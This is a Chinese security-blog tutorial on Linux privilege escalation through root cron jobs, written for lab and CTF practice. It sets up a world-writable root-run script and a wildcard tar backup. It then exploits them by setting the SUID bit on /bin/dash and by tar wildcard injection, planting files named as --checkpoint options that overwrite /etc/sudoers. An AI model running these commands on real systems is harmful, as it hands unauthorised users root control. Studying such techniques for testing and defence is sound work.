使用Cronjobs进行Linux权限提升

阅读量    41599 | 评论 2   稿费 160

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前言

在解决了几个OSCP挑战题之后,我们决定编写一篇关于用于Linux权限提升的各种方法的文章,这对我们的读者在他们的渗透测试项目中可能会有所帮助。在本文中,我们将学习“利用CronJobs进行权限提升”以获得远程主机的根访问权限,并且还将研究一种糟糕的cron job实现是如何导致权限提升的。如果你已经解决了CTF的Post Exploit挑战,那么通过阅读本文,你将学到导致权限提升的一些漏洞。

有关详细信息可以阅读我们之前的文章,在其中我们将本文的技巧用于权限提升。

链接1:黑盒挑战:欧罗巴漫游

链接2:Hacking Milnet VM(CTF挑战题)

 

CronJobs是什么?

CronJobs用于在服务器上通过特定日期和时间执行命令来调度任务,常用于系统管理员任务,如备份或清理/tmp/目录等。Cron这个词来自crontab,它在/etc目录下。

例如:在crontab中,我们可以通过一下命令,每隔1小时自动打印Apache错误日志。

1 0 * * * printf "" > /var/log/apache/error_log

 

Crontab文件覆盖

设置

目标:在crontab的帮助下设置一个新的cronjob来运行python脚本,该脚本将删除指定目录中的所有数据。

假设“清理”的是每隔两分钟自动清除数据的目录。因此,我们在/home/cleanup保存了一些数据。

mkdir cleanup
cd cleanup
echo "hello freinds" > 1.txt
echo "ALL files will be deleted in 2 mints" > 2.txt
echo "" > 1.php
echo "" > 2.php
ls

可以看到,有些文件存储在清理目录中。

现在,在任何其他目录中编写python脚本,删除 /home/cleanup中的数据,并授予所有权限。

cd /tmp
nano cleanup.py
#!/usr/bin/env python
import os
import sys
try:
   os.system('rm -r /home/cleanup/* ')
except:
    sys.exit()

chmod 777 cleanup.py

最后,在crontab的帮助下,每2分钟安排一个任务来运行Clearup.py。

nano /etc/crontab
*/2 *   * * *   root    /tmp /cleanup.py

现在让我们验证一下:

cd /home/cleanup
ls
date
ls

很酷!所有文件在两分钟后都被删除了。

Post Exploitation

启动攻击机器,首先登陆到目标系统,然后进入提权阶段。假设我成功地通过ssh登录到受害者的机器,并访问非根用户终端。执行如下所示的命令。

cat /etc/crontab
ls  -al /tmp/cleanup.py
cat /tmp/cleanup.py

从上面的步骤中,我们注意到crontab每两分钟运行python脚本一次,现在让我们利用它。

获得根访问的方法很多,在这个方法中,我们启用了 SUID bits/bin/dash。这非常简单,首先,通过一些编辑器打开文件,例如nanocleanup.py,并从下面的一行替换为“rm-r/tmp/*”,如下所示:

os.system('chmod u+s /bin/dash')

两分钟后,它将为/bin/dash设置SUID权限,运行时,它将授予根访问权限。

/bin/dash
id
whoami

很好,我们目的达到了…

 

Crontab Tar通配符注入

设置

目的:利用crontab对HTML目录下的tar文件程序进行备份,目录应该具有可执行权限,你将对其进行备份。

现在,在crontab的帮助下安排一项任务,运行tar备份程序,在每1分钟内备份/var/backups/html的文件。

nano /etc/crontab
*/1 *   * * *   root tar -zcf /var/backups/html.tgz /var/www/html/*

通过执行以下命令来验证是否有效。

cd /var/backup
ls
date

如下图可以看到到1分钟后html.tgz文件已经生成。

Post Exploitation

启动攻击机器,首先登陆到目标系统,然后进入提权阶段。假设我成功地通过ssh登录到受害者的机器,并访问非根用户终端。然后打开crontab,查看是否安排了任何任务。

cat /etc/crontab

在这里,我们注意到目标每1分钟就安排一个tar备份程序,我们知道cronjob以root身份运行。让我们试着利用。

执行以下命令将sudo权限授予记录的用户,随后的利用漏洞攻击称为通配符注入(wildcard injection)。

echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *

1分钟后它将授予用户sudo权限,通过下图命令验证:

sudo -l
sudo bash
whoami

很棒,我们已经成功获得根访问权限。

 

审核人:yiwang   编辑:边边

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多